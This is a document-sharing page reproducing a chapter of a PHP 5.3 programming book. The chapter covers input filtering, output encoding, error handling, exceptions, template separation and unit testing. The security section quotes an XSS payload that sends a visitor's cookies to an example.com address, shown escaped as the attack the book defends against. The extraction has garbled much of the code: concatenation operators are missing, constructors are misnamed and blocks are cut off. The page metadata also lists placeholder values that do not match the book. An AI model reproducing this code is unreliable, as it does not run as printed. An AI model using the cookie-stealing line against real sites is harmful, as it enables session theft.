1. Trang chủ
  2. » Công Nghệ Thông Tin

Beginning PHP 5.3 phần 9 ppsx

85 312 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Beginning PHP 5.3 phần 9 ppsx
Trường học University of Example
Chuyên ngành Web Development/Programming
Thể loại giáo trình
Năm xuất bản 2023
Thành phố Sample City
Định dạng
Số trang 85
Dung lượng 606,91 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Although the script can continue to run, a situation has occurred that could cause problems down the line such as dividing by zero or trying to read a nonexistent file E_PARSE 4 The scri

Trang 1

Generally speaking, it ’ s better to use whitelisting, if possible, because it ’ s safer than blacklisting With blacklisting, it ’ s easy to forget to include a particular malicious character in the blacklist, thereby creating

a potential security hole However, sometimes it ’ s simply not possible or practical to use a whitelist, in which case a blacklist is the best approach

Although regular expressions give you a lot of flexibility with checking input, you can use other techniques to make life easier For example, HTML::QuickForm (covered in Chapter 15) lets you create and use rules to validate input sent from a Web form You can also use libraries such as the PEAR

Validate package (see http://pear.php.net/package/Validate ) to validate input such as dates, email addresses, URLs, and so on

An alternative to validating input is filtering With this approach, rather than checking that user input doesn ’ t contain malicious data (and rejecting it if it does), you simply remove any malicious data from the input, and proceed as normal:

< ?php

$searchQuery = $_GET[‘search’];

$searchQuery = preg_replace( “/[^a-zA-Z0-9]/”, “”, $searchQuery );

echo “You searched for: “ $searchQuery;

// (display search results here)

A variation on filtering is to use casting to ensure that the input is of the required type:

$pageStart = (int) $_GET[“pageStart”];

Filtering is often nicer from a user ’ s perspective, because they don ’ t have to deal with error messages or reentering data However, because data is silently removed by the application, it can also lead to confusion for the user

Encoding Output

As well as validating or filtering all input to your script, it ’ s a good idea to encode the script ’ s output

This can help to prevent cross - site scripting attacks, such as the one previously shown

With this approach, you encode, or escape, any potentially unsafe characters using whatever escaping mechanism is available to the output format you ’ re working with Because you ’ re usually outputting HTML, you can use PHP ’ s htmlspecialchars() function to replace unsafe characters with their encoded equivalents:

< ?php

$searchQuery = $_GET[‘search’];

echo “You searched for: “ htmlspecialchars( $searchQuery );

// (display search results here)

Trang 2

When run with the malicious query string shown earlier, this code outputs the following markup:

You searched for: & lt;script & gt;document.location.href=’http://www.example

.com?stolencookies=’ + document.cookie & lt;/script & gt;

This causes the browser to simply display the malicious JavaScript in the page rather than running it:

You searched for: < script > document.location.href=’http://www.example

.com?stolencookies=’ + document.cookie < /script >

Although it ’ s not possible to plug every security hole by checking input and encoding output, it ’ s a good

habit to get into, and will drastically reduce the number of ways that an attacker can exploit your PHP

application

Handling Errors

Most of the time, your application will run as it was intended to do However, occasionally something

will go wrong, resulting in an error For example:

The user might enter an invalid value in a form field

The Web server might run out of disk space

A file or database record that the application needs to read may not exist

The application might not have permission to write to a file on the disk

A service that the application needs to access might be temporarily unavailable

These types of errors are known as runtime errors , because they occur at the time the script runs They

are distinct from syntax errors , which are programming errors that need to be fixed before the script

will even run

If your application is well written, it should handle the error condition, whatever it may be, in a

graceful way Usually this means informing the user (and possibly the developer) of the problem clearly

and precisely

In this section you learn how to use PHP ’ s error handling functions, as well as Exception objects, to

deal with error conditions gracefully

Understanding Error Levels

Usually, when there ’ s a problem that prevents a script from running properly, the PHP engine triggers an

error Fifteen different error levels (that is, types) are available, and each level is represented by an

integer value and an associated constant Here ’ s a list of error levels:

Trang 3

Error Level Value Description

E_ERROR 1 A fatal runtime error that can ’ t be recovered from The script

stops running immediately

E_WARNING 2 A runtime warning (most errors tend to fall into this category)

Although the script can continue to run, a situation has occurred that could cause problems down the line (such as dividing by zero or trying to read a nonexistent file)

E_PARSE 4 The script couldn ’ t be run because there was a problem parsing

it (such as a syntax error)

E_NOTICE 8 This could possibly indicate an error, although the situation

could also occur during normal running

E_CORE_ERROR 16 A fatal error occurred during the PHP engine ’ s startup

E_CORE_WARNING 32 A non - fatal error occurred during the PHP engine ’ s startup

E_COMPILE_ERROR 64 A fatal error occurred while the script was being compiled

E_COMPILE_WARNING 128 A non - fatal error occurred while the script was being compiled

E_USER_ERROR 256 Same as E_ERROR , but triggered by the script rather than the

PHP engine (see “ Triggering Errors ” )

E_USER_WARNING 512 Same as E_WARNING , but triggered by the script rather than the

PHP engine (see “ Triggering Errors ” )

E_USER_NOTICE 1024 Same as E_NOTICE , but triggered by the script rather than the

PHP engine (see “ Triggering Errors ” )

E_STRICT 2048 Not strictly an error, but triggered whenever PHP encounters

code that could lead to problems or incompatibilities

E_RECOVERABLE_

ERROR

4096 Although the error was fatal, it did not leave the PHP engine in

an unstable state If you ’ re using a custom error handler, it may still be able to resolve the problem and continue

E_DEPRECATED 8192 A warning about code that will not work in future versions

of PHP

E_USER_DEPRECATED 16384 Same as E_DEPRECATED , but triggered by the script rather than

the PHP engine (see “ Triggering Errors ” )

By default, only fatal errors will cause your script to stop running However, you can control your script ’ s behavior at different error levels by creating your own error handler (described later in the section “ Letting Your Script Handle Errors ” )

Trang 4

Triggering Errors

Although the PHP engine triggers an error whenever it encounters a problem with your script, you can

also trigger errors yourself This can help to make your application more robust, because it can flag

potential problems before they turn into serious errors It also means your application can generate more

user - friendly error messages

To trigger an error from within your script, call the trigger_error() function, passing in the error

message that you want to generate:

trigger_error( “Houston, we’ve had a problem.” );

By default, trigger_error() raises an E_USER_NOTICE error, which is the equivalent of E_NOTICE

(that is, a relatively minor problem) You can trigger an E_USER_WARNING error instead (a more serious

problem), or an E_USER_ERROR error (a fatal error — raising this error stops the script from running):

trigger_error( “Houston, we’ve had a bigger problem.”, E_USER_WARNING );

trigger_error( “Houston, we’ve had a huge problem.”, E_USER_ERROR );

Consider the following function to calculate the number of widgets sold per day:

< ?php

function calcWidgetsPerDay( $totalWidgets, $totalDays ) {

return ( $totalWidgets / $totalDays );

}

echo calcWidgetsPerDay ( 10, 0 );

?

If a value of zero is passed as the $totalDays parameter, the PHP engine generates the following error:

PHP Warning: Division by zero in myscript.php on line 3

This message isn ’ t very informative Consider the following version rewritten using trigger_error() :

Trang 5

PHP Warning: calcWidgetsPerDay(): The total days cannot be zero in myscript.php on line 4

This makes the cause of the problem much clearer: the calcWidgetsPerDay() function cannot be called with a $totalDays value of zero The script is now more user - friendly and easier to debug

A more primitive error triggering function is exit() (and its alias, die() ) Calling this function ply halts the script, displaying an error message string (if a string is supplied to the function) or return- ing an error code (if an integer is supplied) Generally speaking, it ’ s better to use trigger_error() , because this gives you more control over how the error is handled

Controlling Where Error Messages Are Sent

When an error is raised, the PHP engine usually logs the error message somewhere You can control exactly where the error message is logged by using a few PHP configuration directives:

display_errors : This controls whether error messages are displayed in the browser Set to On

to display errors, or Off to prevent errors from being displayed Because error messages can contain sensitive information useful to hackers, you should set display_errors to Off on your live Web site

log_errors : Controls whether error messages are recorded in an error log Set to On to log errors in an error log, or Off to disable error logging (If you set both display_errors and

log_errors to Off , there will be no record of an error occurring)

error_log : Specifies the full path of the log file to log errors to The default is usually the system log or the Web server ’ s error log Pass in the special string “ syslog ” to send error messages to the system logger (on UNIX - type operating systems this usually logs the message

in /var/log/syslog or /var/log/system.log ; on Windows the message is logged in the Event Log)

If you have access to your Web server ’ s php.ini file, you can set your error logging options there — for example:

display_errors = Off

Alternatively, you can use ini_set() within an application to set logging options for that application:

ini_set( “display_errors”, “Off” );

Logging Your Own Error Messages

As well as raising errors with trigger_error() , you can use the error_log() function to log error messages to the system log or a separate log file, or to send error messages via email

Trang 6

Unlike trigger_error() , calling error_log() does not cause the error to be handled by the PHP

error handler (or your own custom error handler, if you ’ ve created one), nor can it stop the script from

running It merely sends a log message somewhere If you want to raise an error, use trigger_error()

instead of (or as well as) error_log()

error_log() is also useful within custom error handler functions, as you see in a moment

To use error_log() , call it with the error message you want to log:

error_log( “Houston, we’ve had a problem.” );

By default, the message is sent to the PHP logger, which usually adds the message to the system log or

the Web server ’ s error log (see “ Controlling Where Error Messages Are Sent ” for more details) If you

want to specify a different destination for the message, pass an integer as the second parameter

Passing a value of 1 causes the message to be sent via email Specify the email address to send to as the

third parameter You can optionally specify additional mail headers in a fourth parameter:

error_log( “Houston, we’ve had a problem.”, 1, “joe@example.com”, “Cc: bill@

example.com” );

Pass a value of 3 to send the message to a custom log file:

error_log( “Houston, we’ve had a problem.\n”, 3, “/home/joe/custom_errors

.log” );

Notice that error_log() doesn ’ t automatically add a newline ( \n ) character to the end of the log

message, so if you want your messages to appear on separate lines you need to add your own newline

error_log() returns true if the error was successfully logged, or false if the error couldn ’ t be logged

Letting Your Script Handle Errors

For greater flexibility, you can create your own error handler function to deal with any errors raised

when your script runs (whether raised by the PHP engine or by calling trigger_error() ) Your error

handler can then inspect the error and decide what to do: it might log the error in a file or database;

display a message to the user; attempt to fix the problem and carry on; clean up various files and

database connections and exit; or ignore the error altogether

To tell PHP to use your own error handler function, call set_error_handler() , passing in the name of

the function:

set_error_handler( “myErrorHandler” );

The following error types cannot be handled by a custom error handler; instead they will always be

han-dled by PHP ’ s built - in error handler: E_ERROR , E_PARSE , E_CORE_ERROR , E_CORE_WARNING ,

E_COMPILE_ERROR , and E_COMPILE_WARNING In addition, most E_STRICT errors will bypass the

custom error handler, if they ’ re raised in the file where set_error_handler() is called

Trang 7

You can optionally exclude certain types of errors from being handled by your function To do this, pass

a mask as the second argument For example, the following code ensures that the error handler is only called for E_WARNING or E_NOTICE errors (all other error types are handled by PHP ’ s error handler):

set_error_handler( “myErrorHandler”, E_WARNING | E_NOTICE );

You learn more about using masks with error levels in the next section, “ Fine - Tuning Error Reporting ”

Your error handler function needs to have at least two parameters, as follows:

Parameter Description

errno The level of the error, as an integer This corresponds to the appropriate error

level constant ( E_ERROR , E_WARNING , and so on)

errstr The error message as a string

The PHP engine passes the appropriate values to these parameters when it calls your error handler function The function can optionally have an additional three parameters:

errcontext An array containing all the variables that existed at the time the error was raised

Useful for debugging Once it has finished dealing with the error, your error handler function should do one of three things:

Exit the script, if necessary (for example, if you consider the error to be fatal) You can do this by calling exit() or die() , passing in an optional error message or error code to return

Return true (or nothing) If you do this, PHP ’ s error handler is not called and the PHP engine attempts to continue execution from the point after the error was raised

Return false This causes PHP ’ s error handler to attempt to handle the error This is useful if you don ’ t want your error handler to deal with a particular error Depending on your error handling settings, this usually causes the error to be logged

Trang 8

Here ’ s an example of a custom error handler This handler, paranoidHandler() , halts execution of the

script whenever any type of error occurs, no matter how trivial It also logs details of the error to the log

E_STRICT = > “Strict warning”,

E_RECOVERABLE_ERROR = > “Recoverable error”,

E_DEPRECATED = > “Deprecated feature”,

E_USER_DEPRECATED = > “Deprecated feature”

);

$message = date( “Y-m-d H:i:s - “ );

$message = $levels[$errno] “: $errstr in $errfile, line $errline\n\n”;

$message = “Variables:\n”;

$message = print_r( $errcontext, true ) “\n\n”;

error_log( $message, 3, “/home/joe/paranoid_errors.log” );

die( “There was a problem, so I’ve stopped running Please try again.” );

When run, this script displays the following message in the browser:

There was a problem, so I’ve stopped running Please try again

The file /home/joe/paranoid_errors.log also contains a message similar to the following:

Trang 9

2009-03-02 16:46:50 - Warning: calcWidgetsPerDay(): The total days cannot be zero in myscript.php, line 5

Variables:

Array( [totalWidgets] = > 10 [totalDays] = >

)

The paranoidHandler() function sets up an array to map the most commonly used error level constants to human - readable names (levels such as E_ERROR and E_PARSE are excluded because these are always handled by the PHP error handler) Then it logs details about the error to the paranoid_

errors.log file, including the error type, error message, the file and line where the error occurred, and the variables in scope at the time of the error Finally, it calls die() to halt execution and send a generic error message to the browser (This is why the “ This will never be printed ” message doesn ’ t appear.)

Fine - Tuning Error Reporting

Usually, the PHP error handler reports (that is, logs) all errors except E_NOTICE errors You can change this default setting by calling the error_reporting() function, passing in a mask representing the error levels that you want to be logged

For example, to report just E_ERROR errors (and ignore all other errors), use the following:

error_reporting( E_ERROR );

To specify multiple error levels, join them together with the | (bitwise Or) operator:

error_reporting( E_ERROR | E_WARNING | E_PARSE );

To report all errors, use the special constant E_ALL :

error_reporting( E_ALL ^ E_NOTICE ^ E_USER_NOTICE );

To turn off error reporting for all error types, pass a value of zero (note that fatal errors will still stop the script from running):

error_reporting( 0 );

Trang 10

Because the error reporting level is stored as a configuration directive called error_reporting , you can

also set it in php.ini or with ini_set() , and retrieve its current value with ini_get() :

error_reporting( E_ERROR );

echo ini_get( “error_reporting” ); // Displays 1

If you ’ ve specified a custom error handler using set_error_handler() , your handler is still called if

there is an error, regardless of the error_reporting setting It is then up to your error handler to

decide whether to log the error

Using Exception Objects to Handle Errors

Although functions like trigger_error() and set_error_handler() give you a lot of flexibility with

raising and handling errors, they do have limitations For example, if a piece of code calls a class method

and an error occurs in that method, it would be nice if the method could simply tell the calling code

about the error, rather than having to raise an error with trigger_error() and go through a central

error handler That way the calling code could take action to correct the problem, making the application

more robust

One simple, common way to achieve this is to get a function or method to return a special error value,

such as - 1 or false The calling code can then inspect the return value and, if it equals the error value, it

knows there was a problem However, this can get unwieldy when you start working with deeply nested

function or method calls, as the following code shows:

class WarpDrive {

public function setWarpFactor( $factor ) {

if ( $factor > =1 & & $factor < = 9 ) {

echo “Warp factor $factor < br / >

public function newWarpOrder( $factor ) {

$ce = new ChiefEngineer;

return $ce- > doWarp( $factor );

Trang 11

The WarpDrive::setWarpFactor() function returns true if the function succeeded, and false otherwise (if the warp factor was less than 1 or greater than 9) This return value then needs to be passed through both the ChiefEngineer::doWarp() method and the Captain::newWarpOrder() method to reach the calling code, which can then identify and report on the error It ’ s not uncommon to find at least this level of nested method calls in complex applications

Another problem is that simply returning false doesn ’ t tell the calling code much about what went wrong What ’ s more, when a method has to return an error value, it can ’ t then easily return anything else (because methods and functions can return only one thing at a time)

Fortunately, PHP gives you exceptions , which are a much more elegant way of triggering and handling

error conditions Rather than returning a single error value, your method or function can create a rich

Exception object that includes detailed information about the problem, then throw the object up to the calling code to handle, or catch

Another nice feature of exceptions is that the calling code doesn ’ t have to catch an exception if it doesn ’ t want to; if it ignores it, the exception is re - thrown up the calling chain until it is caught If no code catches the exception, the script halts with a fatal error and the exception is logged or displayed to the user (depending on your log_errors and display_errors settings) So by using exceptions, any problem can either be handled automatically by another part of the application or, if all else fails, reported to the developer or user This allows applications to be much more flexible and robust in their handling of error scenarios

If you don ’ t want uncaught exceptions to raise fatal errors, you can create your own exception handler

to deal with the exceptions (much like creating your own error handler) See http://www.php.net/

manual/en/function.set - exception - handler.php for details

Throwing Exceptions

Here ’ s how to create and throw an exception when an error occurs in your code:

throw new Exception;

You can also pass an optional error message to the Exception object when it ’ s created (this is generally

a good idea):

throw new Exception( “Oops, something went wrong” );

If you have a lot of different error messages in your application, it can help to give each exception a numeric error code to distinguish it To add an error code to your thrown exception, pass it as the second argument when creating the Exception object:

throw new Exception( “Oops, something went wrong”, 123 );

If you don ’ t catch your thrown exception at some other point in your code, eventually it bubbles up to the top level of your script, displaying an error message similar to the following:

PHP Fatal error: Uncaught exception ‘Exception’ with message ‘Oops, something went wrong’ in script.php:4

Stack trace:

Trang 12

This tells you that an exception occurred that wasn ’ t handled by the script itself, gives you the error

message, and informs you that the exception was thrown in the main (top - level) part of the script

The code between try and catch is run Often this includes a call to a function or an object method If

this code results in an exception being thrown, the code after catch is run The catch construct expects

a parameter, which is the thrown Exception object ( $e in this example) It ’ s up to you how you then

handle the exception You might simply exit the script with an error message:

die( “There was a problem.” );

Alternatively, you can query the Exception object to find out more about the problem All Exception

objects contain the following methods that you can use to get more information:

Exception Method Method Description

getMessage() Returns the error message contained in the exception

getCode() Returns the error code contained in the exception

calls that led to the exception

getTraceAsString() Returns a formatted string showing the nesting of the functions and/or

method calls that led to the exception

So, for example, if the exception was not that serious, you could simply display the exception ’ s error

message and carry on as normal:

If no exception occurred within your try catch block, the PHP engine simply carries on with your

script, starting at the line after the try catch block

Trang 13

Creating Your Own Exception Classes

As well as creating standard Exception objects, you can extend the Exception class itself to create your own custom exceptions This allows you to add your own methods and properties to your exception objects, which can help to make your error reporting even more rich and useful to users and developers of your applications What ’ s more, you can then test for specific classes of exception in your

catch constructs and act accordingly:

class DatabaseException extends Exception {}

class InvalidInputException extends Exception {}

try { // Call the function or method} catch ( DatabaseException $e ) { echo “There was a problem with the database.”;

} catch ( InvalidInputException $e ) { echo “Invalid input - check your typing and try again.”;

} catch ( Exception $e ) { echo “Generic error: “ $e- > getMessage();

}

Try It Out Flying Through the Universe

The following script simulates a spaceship warping through space The spaceship has a certain amount of dilithium fuel that is used up each time the ship goes into warp The amount of fuel used for each warp is equal to the warp factor (speed) The script uses exceptions extensively to report on various problems that occur during warping

Save the script as spaceship.php in your document root folder and run it in your Web browser You should see the output shown in Figure 20-2

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”

“http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>

<html xmlns=”http://www.w3.org/1999/xhtml” xml:lang=”en” lang=”en”>

<head>

<title>Warping Through Space</title>

<link rel=”stylesheet” type=”text/css” href=”common.css” />

public function construct( $message, $code, $factor ) { parent:: construct( $message, $code );

Trang 14

public function construct( $message, $code, $remainingFuel ) {

parent:: construct( $message, $code );

} elseif ( WarpDrive::$_dilithiumLevel < $factor ) {

throw new FuelException( “Insufficient fuel”, 3, WarpDrive::$_

public function newWarpOrder( $factor ) {

$ce = new ChiefEngineer;

Trang 15

try { $ce->doWarp( $factor );

} catch ( InputException $e ) { echo “<p>Captain’s log: Warp factor “ $e->getInvalidWarpFactor() “?

I must be losing my mind </p>”;

} catch ( FuelException $e ) { echo “<p>Captain’s log: I’m getting a fuel problem from the warp engine It says: ‘” $e->getMessage();

echo “’ We have “ $e->getRemainingFuel() “ dilithium left

I guess we’re not going anywhere.</p>”;

} catch ( Exception $e ) { echo “<p>Captain’s log: Something else happened, I don’t know what

The message is ‘” $e->getMessage() “’.</p>”;

} }}

</html>

Figure 20-2

Trang 16

How It Works

First of all, the script creates two custom exception classes derived from the built-in Exception class:

InputException and FuelException An InputException object is to be thrown if the calling code

has supplied an invalid warp factor (outside the range 1 through 9) The InputException class adds

an $_invalidWarpFactor private property to store the supplied warp factor, and extends the

Exception constructor to also allow the supplied warp factor to be stored in the InputException

object when it’s created Finally, it provides a getInvalidWarpFactor() method to retrieve the

invalid warp factor that was supplied:

class InputException extends Exception {

private $_invalidWarpFactor;

public function construct( $message, $code, $factor ) {

parent:: construct( $message, $code );

The FuelException class is for exceptions to be thrown when there’s a problem with the dilithium

fuel It works in a similar way to InputException, except that it stores the remaining fuel rather than

the warp factor

Next, the script creates a WarpDrive class This is the most fundamental class of the script, and is used

to control the warp engines It stores the fuel left in a private static property, $_dilithiumLevel By

making the property static, it retains its value throughout the lifetime of the script, no matter how

many WarpDrive objects are created

WarpDrive contains just one method, setWarpFactor() , that accepts a warp factor and attempts to fly

the ship at that speed If the factor is out of range, an InputException object is thrown The requested

warp factor is stored in the InputException object If there ’ s not enough fuel — that is, if the remaining

units of fuel are less than the requested warp factor — the method throws a FuelException object,

storing the remaining fuel in the object If all is well, the method displays a message and decreases the

Trang 17

} elseif ( $factor > 9 ) { throw new InputException( “Warp factor exceeds drive specifications”, 2,

echo “ < > Now traveling at warp factor $factor < /p >

} } }

To control the warp drive, the script creates a ChiefEngineer class This class contains a single method,

doWarp() , that expects a warp factor It then creates a new WarpDrive object and attempts to set the correct speed

In this example situation, the ChiefEngineer is a bit of a “ yes man ” He just takes his order — the required warp factor — and passes it straight to a new WarpDrive object via its setWarpFactor() method He doesn ’ t do any checking of the requested speed, nor does he attempt to catch any exceptions that might be thrown by the WarpDrive object:

class ChiefEngineer { public function doWarp( $factor ) { $wd = new WarpDrive;

$wd- > setWarpFactor( $factor );

}}

The final class created by the script is Captain This class contains a single method, newWarpOrder() , that expects a warp factor The method then creates a new ChiefEngineer object and passes the orders

to the object via its doWarp() method

Unlike the ChiefEngineer class, the Captain class ’ s newWarpOrder() method checks for any problems with the warp order with a try catch block Because exceptions bubble up through the calling chain, any exceptions raised by a WarpDrive object will be caught here The try block calls the doWarp() method, while multiple catch blocks handle the different classes of exception that might be thrown:

class Captain { public function newWarpOrder( $factor ) { $ce = new ChiefEngineer;

try { $ce- > doWarp( $factor );

} catch ( InputException $e ) { echo “ < > Captain’s log: Warp factor “ $e- > getInvalidWarpFactor() “? I must be losing my mind < /p >

} catch ( FuelException $e ) {

Trang 18

echo “ < > Captain’s log: I’m getting a fuel problem from the warp engine

It says: ‘” $e- > getMessage();

echo “’ We have “ $e- > getRemainingFuel() “ dilithium left I guess

we’re not going anywhere < /p >

} catch ( Exception $e ) {

echo “ < > Captain’s log: Something else happened, I don’t know what The

message is ‘” $e- > getMessage() “’ < /p>”;

}

}

}

If the method catches an InputException , it displays a message, including the requested warp factor

by calling InputException::getInvalidWarpFactor() Similarly, if a FuelException is caught, the

method displays a different message, retrieving the exact message with FuelException::

getMessage() and displaying the remaining fuel with FuelException::getRemainingFuel Finally,

the method catches any other potential Exception objects that might be thrown, and displays a generic

error message It ’ s always a good idea to catch generic Exception objects in addition to any custom

Exception objects you might have created

Finally, the script creates a new Captain object and sets various warp speeds using its newWarpOrder()

method You can see from Figure 20 - 2 that various exceptions are raised and displayed as the script

progresses

Separating Application Logic from

Pr esentation Logic

When you first start writing PHP scripts, you ’ ll probably find that you naturally want to mix your

PHP code (application logic) and HTML markup (presentation logic) in the same script file, or page

Indeed, most of the examples in this book follow this format, because it ’ s easier to explain code that ’ s

all in one place

Though this approach is fine for small scripts, things start to get messy when you start building larger

applications You ’ ll find that:

Your code ’ s logic becomes hard to follow, because the code is mixed up with chunks of HTML

You end up writing the same, or similar, chunks of code across multiple pages, which — as you

saw in “ Writing Modular Code ” — wastes effort and makes code maintenance hard

It becomes tricky to change your application ’ s front end — for example, when redesigning your

site, converting your site from HTML to XHTML, translating the site into another language or

locale, or producing a mobile version of a site — because all your markup is intermixed with

chunks of PHP code

For the same reason, it ’ s hard for Web designers to alter the look of pages within your

application, because they are not familiar with PHP code

Trang 19

Because your template designers have access to your PHP code, it ’ s possible for them to inadvertently (or deliberately) alter your application code, creating all sorts of potential security and stability problems for your application

Unit testing a piece of application logic that also contains presentation logic is tricky (See the next section for more on unit testing.) It ’ s much easier to test a piece of pure application code

A better approach is to keep all your application code separate from your presentation code There are many ways to do this, but a common technique is to keep all markup in separate template files Your application code can then concentrate on the business logic of your application, and can include a template file whenever it wants to display output to the user

Try It Out Separate Application and Presentation Code

To illustrate this technique, rewrite the Widget Club member registration form script, registration.php, from Chapter 9 so that the markup is kept separate from the application logic First, create a

templates folder in your document root folder This is to hold the template files — that is, the presentation logic Next, create global page header and footer templates that can be included in every page Create the following two files inside your templates folder:

<title><?php echo $results[“pageTitle”] ?></title>

<link rel=”stylesheet” type=”text/css” href=”common.css” />

<?php if ( $results[“missingFields”] ) { ?>

<p class=”error”>There were some problems with the form you submitted

Please complete the fields highlighted below and click Send Details to resend the form.</p>

<?php } else { ?>

<p>Thanks for choosing to join The Widget Club To register,

Trang 20

<?php } ?>

<form action=”<?php echo $results[“scriptUrl”]?>” method=”post”>

<div style=”width: 30em;”>

<label for=”firstName”<?php echo $results[“firstNameAttrs”] ?

>>First name *</label>

<input type=”text” name=”firstName” id=”firstName” value=”<?php

echo $results[“firstNameValue”] ?>” />

<label for=”lastName”<?php echo $results[“lastNameAttrs”] ?

>>Last name *</label>

<input type=”text” name=”lastName” id=”lastName” value=”<?php

echo $results[“lastNameValue”] ?>” />

<label for=”password1”<?php if ( $results[“missingFields”] )

echo ‘ class=”error”’ ?>>Choose a password *</label>

<input type=”password” name=”password1” id=”password1” value=”” />

<label for=”password2”<?php if ( $results[“missingFields”] )

echo ‘ class=”error”’ ?>>Retype password *</label>

<input type=”password” name=”password2” id=”password2” value=”” />

<label for=”favoriteWidget”>What’s your favorite widget? *</label>

<select name=”favoriteWidget” id=”favoriteWidget” size=”1”>

<option value=”superWidget”<?php echo $results

[“favoriteWidgetOptions”][“superWidget”] ?>>The SuperWidget</option>

<option value=”megaWidget”<?php echo $results

[“favoriteWidgetOptions”][“megaWidget”] ?>>The MegaWidget</option>

<option value=”wonderWidget”<?php echo $results

[“favoriteWidgetOptions”][“wonderWidget”] ?>>The WonderWidget</option>

<label for=”comments”>Any comments?</label>

<textarea name=”comments” id=”comments” rows=”4” cols=”50”><?php

echo $results[“commentsValue”] ?></textarea>

<div style=”clear: both;”>

<input type=”submit” name=”submitButton” id=”submitButton” value=

”Send Details” />

Trang 21

<input type=”reset” name=”resetButton” id=”resetButton” value=

”Reset Form” style=”margin-right: 20px;” />

</div>

</div>

<p>Thank you, your application has been received.</p>

<?php include “page_footer.php” ?>

Save both registration_form.php and thanks.php in your templates folder

Now that you’ve created your presentation code, it’s time to create the application code Save the following code as registration.php in your document root folder:

<?php

if ( isset( $_POST[“submitButton”] ) ) { processForm();

} else { displayForm( array() );

} function validateField( $fieldName, $missingFields ) {

if ( in_array( $fieldName, $missingFields ) ) { return ‘ class=”error”’;

}} function setValue( $fieldName ) {

if ( isset( $_POST[$fieldName] ) ) { return htmlspecialchars( $_POST[$fieldName] );

}} function setChecked( $fieldName, $fieldValue ) {

if ( isset( $_POST[$fieldName] ) and $_POST[$fieldName] == $fieldValue ) { return ‘ checked=”checked”’;

}} function setSelected( $fieldName, $fieldValue ) {

if ( isset( $_POST[$fieldName] ) and $_POST[$fieldName] == $fieldValue ) { return ‘ selected=”selected”’;

}}

Trang 22

foreach ( $requiredFields as $requiredField ) {

if ( !isset( $_POST[$requiredField] ) or !$_POST[$requiredField] ) {

“firstNameAttrs” => validateField( “firstName”, $missingFields ),

“firstNameValue” => setValue( “firstName” ),

“lastNameAttrs” => validateField( “lastName”, $missingFields ),

“lastNameValue” => setValue( “lastName” ),

“genderAttrs” => validateField( “gender”, $missingFields ),

“genderMChecked” => setChecked( “gender”, “M” ),

“genderFChecked” => setChecked( “gender”, “F” ),

“favoriteWidgetOptions” => array(

“superWidget” => setSelected( “favoriteWidget”, “superWidget” ),

“megaWidget” => setSelected( “favoriteWidget”, “megaWidget” ),

“wonderWidget” => setSelected( “favoriteWidget”, “wonderWidget” ),

),

“newsletterChecked” => setChecked( “newsletter”, “yes” ),

“commentsValue” => setValue( “comments” )

Run the registration.php script by opening its URL in your Web browser You should see the

registration form appear Try filling in a few fields and clicking Send Details Notice how the script

behaves much like its equivalent from Chapter 9

Trang 23

How It Works

Functionally, this application is pretty much the same as registration.php from Chapter 9 The main difference is that the presentation code has been separated from the application code and stored

in separate template files in the templates folder

Take a look at the registration.php script Unlike the Chapter 9 script, the displayForm() and

displayThanks() functions no longer contain embedded HTML Instead, they use require()

to include the relevant page templates from the templates folder:

function displayForm( $missingFields ) { $results = array (

“pageTitle” => “Membership Form”, “scriptUrl” => “registration.php”, “missingFields” => $missingFields, “firstNameAttrs” => validateField( “firstName”, $missingFields ), “firstNameValue” => setValue( “firstName” ),

“lastNameAttrs” => validateField( “lastName”, $missingFields ), “lastNameValue” => setValue( “lastName” ),

“genderAttrs” => validateField( “gender”, $missingFields ), “genderMChecked” => setChecked( “gender”, “M” ),

“genderFChecked” => setChecked( “gender”, “F” ), “favoriteWidgetOptions” => array(

“superWidget” => setSelected( “favoriteWidget”, “superWidget” ), “megaWidget” => setSelected( “favoriteWidget”, “megaWidget” ), “wonderWidget” => setSelected( “favoriteWidget”, “wonderWidget” ), ),

“newsletterChecked” => setChecked( “newsletter”, “yes” ), “commentsValue” => setValue( “comments” )

);

require( “templates/registration_form.php” );

} function displayThanks() { $results = array ( “pageTitle” => “Thank You”

);

require( “templates/thanks.php” );

}

Each function creates a $results array variable containing information to display in the page The page template then uses this array to display the information In this way, data can be passed between the application and presentation code For example, registration_form.php uses the firstNameAttrs array element to insert any attributes (such as ‘class=“error“’) into the

firstName label’s tag, and the firstNameValue array element to display any previously typed value

in the firstName field:

<label for=”firstName”<?php echo $results[“firstNameAttrs”] ?>>

First name *</label>

<input type=”text” name=”firstName” id=”firstName” value=”<?php echo

$results[“firstNameValue”] ?>” />

Trang 24

The form helper functions in registration.php, such as validateField() and setValue(), have

been rewritten to return their output values, rather than display them using echo() This is so that the

values can then be passed via the $results array to the template pages

The end result of these changes is that pretty much all the presentation markup has been removed

from registration.php, while the template pages contain very little PHP — in fact there is just one

chunk of decision-making code (the if block near the top of registration_form.php), a few calls to

require() to include the page header and footer files, and a series of echo statements to display the

results Generally speaking you should try to limit your template files’ PHP code to echo/print

statements, includes, decisions, and loops, and then only if the code is directly related to displaying

results Anything more complex belongs in the application code

This example could be improved further For instance, ideally registration.php would not contain

the form helper functions validateField(), setValue(), setChecked(), and setSelected(),

because these are specific to the output medium (XHTML) A better approach would be to use classes

and inheritance to further separate the presentation logic from the application logic, so that the

application logic has no knowledge of the particular output medium (whether it’s HTML, XHTML,

plain text, PDF, and so on)

A good example of such a technique is the Model-View-Controller design pattern This is out of the

scope of this book, but you can find an overview at

http://en.wikipedia.org/wiki/Model-view-controller A great book on design patterns in general is Patterns of Enterprise Application

Architecture by Martin Fowler (Addison-Wesley, ISBN: 978-0321127426).

Another good approach is to use a templating framework such as Smarty (http://www.smarty

.net/) This powerful framework allows you to separate your presentation code to the point of

never needing to include a single line of PHP within your template files This is great if you’re

working on a big project with a team of designers who don’t want to touch your PHP code

Automated Code Testing with PHPUnit

Testing is an important aspect of writing good code By testing your application thoroughly before you

release it, you ensure that the application is as stable and as bug - free as possible (though it ’ s highly likely

that it will still contain bugs)

Many approaches to testing code exist You can manually run the application, try different inputs (such

as different form field values), and verify that the application produces the expected output This

technique is known as integration testing because you are testing the application as a whole

A complementary approach is known as unit testing This involves testing each unit of your application

(such as each function or method), rather than the application as a whole It ’ s usually a good idea to use

both integration testing and unit testing to test an application thoroughly

